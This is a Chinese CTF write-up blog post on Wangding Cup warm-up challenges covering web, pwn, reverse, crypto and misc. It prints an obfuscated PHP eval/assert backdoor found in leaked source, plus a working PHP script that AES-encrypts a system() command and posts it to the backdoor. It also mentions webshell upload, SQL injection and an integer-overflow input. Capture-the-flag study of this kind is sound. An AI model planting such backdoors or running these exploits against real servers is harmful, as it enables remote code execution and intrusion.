前言: 参加了一下网鼎杯的赛前训练,题目还是很简单的,我web狗也能做其他方向的题,写个博客记录一下
Web: Web签到 查看群公告,flag在最下面
Web801 一道简单文件上传,传个一句话用蚁剑连接即可,不赘述。
Web802
点击下方的公告,有id,尝试后是数字型sql联合注入,得到账号密码的MD5值解出来登录,不赘述。
Web803
扫目录存在源码泄露,wwwroot.zip解压可以得到一堆php文件,尝试访问这些php发现都是500
审计是不可能审计的,写个python脚本看看是不是都不能访问
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import osfrom urllib import requestdef get_files (directory ): """Get a list of all files in the given directory and subdirectories.""" return [os.path.join(root, file) for root, _, files in os.walk(directory) for file in files]def build_url (file_path ): """Build the URL from the given file path.""" name = file_path.replace("D:\\下载\\wwwroot\\" , "/" ) return f"http://xxx{name} " def fetch_url (url ): """Fetch the content from the URL and return it if the response is valid.""" try : with request.urlopen(url) as response: if response.getcode() == 200 : text = response.read().decode() return text except Exception as e: print ("erro!" ) return None def main (): directory = "D:\\下载\\wwwroot" files = get_files(directory) for file in files: url = build_url(file) content = fetch_url(url) if content: print (url) print (content)if __name__ == "__main__" : main()
最后发现只有describedssTest.php和index.html可以访问,找到入口了
打开phpstorm审计一下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );header ('Content-type: text/html; charset=utf-8' );$p8 ='3b7430adaed18facca7b799229138b7b' ;$a8 ='TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0=' ;$d8 ='TURNeU9UWTBOelUwTmprd05UUTVOR012V1c5cVJXNXBkWEJyZDFsemJsQlpNMmRITjNaYWVFVnFPVWRqVnpoWlUyNXZNbmhDU21jd2RHTkxRazF2U1hvMU9FNUNWM2RNUjFWYVJuVnBiV3czUlVwUldFMTFhakp2VjJKS1NIVlJUMU5UYjNoSWExUk5hMlZXY21OdlRuaHVRMjlsVkV4aEwzbGpQUT09' ;$v8 ='0329647546905494' ;function e ($D ,$K ) {$cipher ='aes-128-cbc' ; $encrypted =openssl_encrypt ($D ,$cipher ,$K ,0 ,$GLOBALS ['v8' ]); $result =base64_encode ($GLOBALS ['v8' ].$encrypted ); $result =base64_encode ($result ); return $result ; }function d ($D , $K ) {$cipher ='aes-128-cbc' ; $decodedData =base64_decode (base64_decode ($D )); $encryptedData =substr ($decodedData , openssl_cipher_iv_length ($cipher )); $decrypted =openssl_decrypt ($encryptedData ,$cipher ,$K ,0 ,$GLOBALS ['v8' ]); return $decrypted ; }$a8 =trim (d ($a8 ,$p8 ));ob_start ();$a8 (trim (d ($d8 ,$p8 )));$O =ob_get_contents ();ob_end_clean ();echo e ($O ,$p8 );?>
aes加密和解密,看不出什么猫腻,有两个密文a8和d8,使用调试大法
可以看到a8的值为assert
d8的值为@eval("if(md5(@\$_GET['id'])===\$p8){@eval(trim(d(\$_POST['d'],\$p8)));}")
即
1 2 3 eval (if (md5 ($_GET ['id' ])===$p8 ){ eval (d ($_POST ['d' ],$p8 )); })
结合$a8(trim(d($d8,$p8)));
此处存在后门(没想到还有这种后门)
可以看到会执行
assert(@eval("if(md5(@\$_GET['id'])===\$p8){@eval(trim(d(\$_POST['d'],\$p8)));}"))
要满足条件get传参id的md5值等于p8,强比较必须要相等了
然后post传入参数d,因为外面还套了一层d解密函数,所以命令d一定要为aes加密后的值
p8破解出来为20241026的两层MD5值
写一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php $p8 ='3b7430adaed18facca7b799229138b7b' ;$v8 ='0329647546905494' ;$url = "http://xxx/describedssTest.php?id=04c50eb4bc04c76311d03550ee2c1b71" ;function d ($D , $K ) {$cipher ='aes-128-cbc' ; $decodedData =base64_decode (base64_decode ($D )); $encryptedData =substr ($decodedData , openssl_cipher_iv_length ($cipher )); $decrypted =openssl_decrypt ($encryptedData ,$cipher ,$K ,0 ,$GLOBALS ['v8' ]); return $decrypted ; }function e ($K ) {$cipher ='aes-128-cbc' ; $D ="system('cat /flag.txt');" ; $encrypted =openssl_encrypt ($D ,$cipher ,$K ,0 ,$GLOBALS ['v8' ]); $result =base64_encode ($GLOBALS ['v8' ].$encrypted ); $result =base64_encode ($result ); return $result ; }$d =e ($p8 );$params = array ( 'd' => $d );$params = http_build_query ($params );$options = array ( 'http' => array ( 'method' => 'POST' , 'content' => $params , 'timeout' => 60 ) );$context = stream_context_create ($options );$result = file_get_contents ($url , false , $context );echo d ($result ,$p8 );
本地复现也是可以成功的
直接接出flag
Pwn 一道整数溢出题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include <stdio.h> #include <stdlib.h> int main () { char flag[32 ]; FILE* f = fopen("flag" , "r" ); if (f == NULL ) { puts ("flag not found" ); return 1 ; } fgets(flag, 32 , f); fclose(f); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); printf ("Input: " ); char buffer[16 ]; fgets(buffer, 16 , stdin ); int val = atoi(buffer); if (val < 0 ) { puts ("Error: no negative numbers allowed!" ); return 1 ; } int doubled = 2 * val; printf ("Doubled: %i\n" , doubled); if (doubled == -100 ) { puts (flag); } }
flag为32位,我们输入的int类型的val不能小于0,最后int类型的doubled要为-100
doubled为2倍val,构造整数溢出
64位的机器中int类型的范围为-2147483648~2147483647
输入一个不超过范围的整数,但是乘以2为-100可以尝试出来
最后val=2147483598
Reverse 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import java.util.Scanner;class ReverseEngineeringChallenge { public static void main (String args[]) { Scanner scanner = new Scanner (System.in); System.out.print("Enter password: " ); String userInput = scanner.next(); if (checkPassword(userInput)) { System.out.println("Access granted." ); } else { System.out.println("Access denied!" ); } } public static boolean checkPassword (String password) { return password.length() == 20 && password.charAt(0 ) == 'f' && password.charAt(11 ) == '_' && password.charAt(1 ) == 'l' && password.charAt(6 ) == '0' && password.charAt(3 ) == 'g' && password.charAt(8 ) == '4' && password.charAt(4 ) == '{' && password.charAt(9 ) == '_' && password.charAt(7 ) == '2' && password.charAt(10 ) == '_' && password.charAt(2 ) == 'a' && password.charAt(12 ) == '_' && password.charAt(5 ) == '2' && password.charAt(17 ) == 'B' && password.charAt(14 ) == '_' && password.charAt(18 ) == '!' && password.charAt(16 ) == '_' && password.charAt(19 ) == '}' && password.charAt(15 ) == 'D' && password.charAt(13 ) == 'W' ; } }
这题感觉没什么意思,观察可以发现按顺序就可以得到flag
Crypto crypto001 附件丢了,不过解法应该是偏移为10的凯撒
crypto002 010editor打开翻到最后有base64密文d2RmbGFne2RlNjA1YTM3NDZmZGM5MTl9
解密得到flag
Misc 日志分析,搜索{即可找到flag